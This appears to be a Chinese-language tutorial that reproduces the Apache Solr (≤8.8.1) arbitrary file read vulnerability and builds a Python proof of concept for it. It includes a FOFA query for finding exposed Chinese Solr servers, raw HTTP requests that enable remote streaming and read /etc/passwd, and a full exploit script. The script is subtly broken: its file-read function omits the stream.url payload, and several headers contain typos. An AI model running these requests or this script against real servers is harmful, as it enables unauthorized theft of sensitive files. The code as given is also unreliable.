Apache Solr任意文件读取漏洞
Apache Solr存在任意文件读取漏洞,攻击者可以在未授权的情况下获取目标服务器敏感文件
主要原因:由于未开启身份验证,导致未经身份验证的攻击者可利用Config API打开requestDispatcher.requestParsers.enableRemoteStreaming开关,从而使攻击者可以在未授权的情况下获取目标服务器敏感文件。
影响版本:Apache Solr <= 8.8.1
fofa语法:
app="Apache-Solr" && country="CN" && status_code="200"
|
漏洞复现
Solr下载地址,安装配置过程不再赘述
这里的core核心可以理解为数据库,里面的cocument可以理解为表
Solr自带开源Servlet容器Jetty,当然可以用Tomcat,这里使用自带的Jetty
- 获取core信息
http://xxx.xxx.xxx.xxx/solr/admin/cores?indexInfo=false&wt=json
|
![image]()
- 依据core_name构造config包
POST /solr/demo/config HTTP/1.1 Host: 192.168.45.1:8983 Content-Length: 82 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http:/ip:89833 Content-Type: application/json User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.45.1:8983/solr/demo/config Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 Connection: close
{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
|
返回包
HTTP/1.1 200 OK Connection: close Content-Type: text/plain;charset=utf-8 Content-Length: 149
{ "responseHeader":{ "status":[] "QTime":256}, "WARNING":"This response format is experimental. It is likely to change in the future."}
|
状态包以及响应内容**“This response format is experimental. It is likely to change in the future.”**表示存在漏洞
- 读取文件/etc/passwd
POST /solr/demo/./debug/dump?param=ContentStreams HTTP/1.1 Host: 192.168.45.1:8983 Content-Length: 31 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http:/192.168.45.1:89833 Content-Type: application/x-www-form-urlencoden User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.45.1:8983/solr/demo/config Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 Connection: close
stream.url=file:///etc/passwd
|
拿到数据
构建POC
构建poc的基础操作
- 利用开源的POC框架,也可以自己写框架(建议使用poc框架)
- 熟悉漏洞原理
- 搭建漏洞靶场环境
- 选择编程语言(常用python)
常用python库:
urllib2: 发送HTTP/HTTPS请求
requests:更“高级”的urllib2库
re:正则表达式
random:生成随机数
base64:base64编码
hashlib:常用来计算md5值
time:用来统计访问时间延迟
import requests import sys import random import re import base64 import time import json
|
- 获取core的信息
def get_core_name(target_url): core_url = target_url + "/solr/admin/cores?indexInfo=false&wt=json" reqs = requests.get(url=core_url,timeout=10)
try: core_name = list(json.loads(reqs.text)["status"])[0] return core_name except: sys.exit()
|
- 依据core_name构造config包
def enable_remote_streaming(target_url,core_name): session = requests.session() vuln_url = target_url + "/solr/" + core_name + "/config" headers = {"Content-type": "application/json"} data = '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' reqs = session.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
if "responseHeader" in reqs.text and reqs.status_code == 200: print ("存在漏洞") return True else: print ("不存在漏洞") return False
|
- 读取文件/etc/passwd
def read_etc_passwd(target_url,core_name): session = requests.session() vuln_url = target_url + "/solr/{}/debug/dump?param=ContentStreams".format(core_name) headers = {"Content-Type": "application/x-www-form-urlencoded"} reqs = session.post(url=vuln_url,headers=headers)
if reqs.status_code == 200: print ("读取成功") print (reqs.text) else: return False
|
- 执行并输出
def main(target_url): core_name = get_core_name(target_url)
if core_name: if enable_remote_streaming(target_url,core_name): read_etc_passwd(target_url,core_name)
if __name__ == "__main__": TARGET_URL = "http://ip:8983" main(TARGET_URL)
|
参考文章:https://mp.weixin.qq.com/s/ycXsYc7ZYc22o-8Q5ALBYQ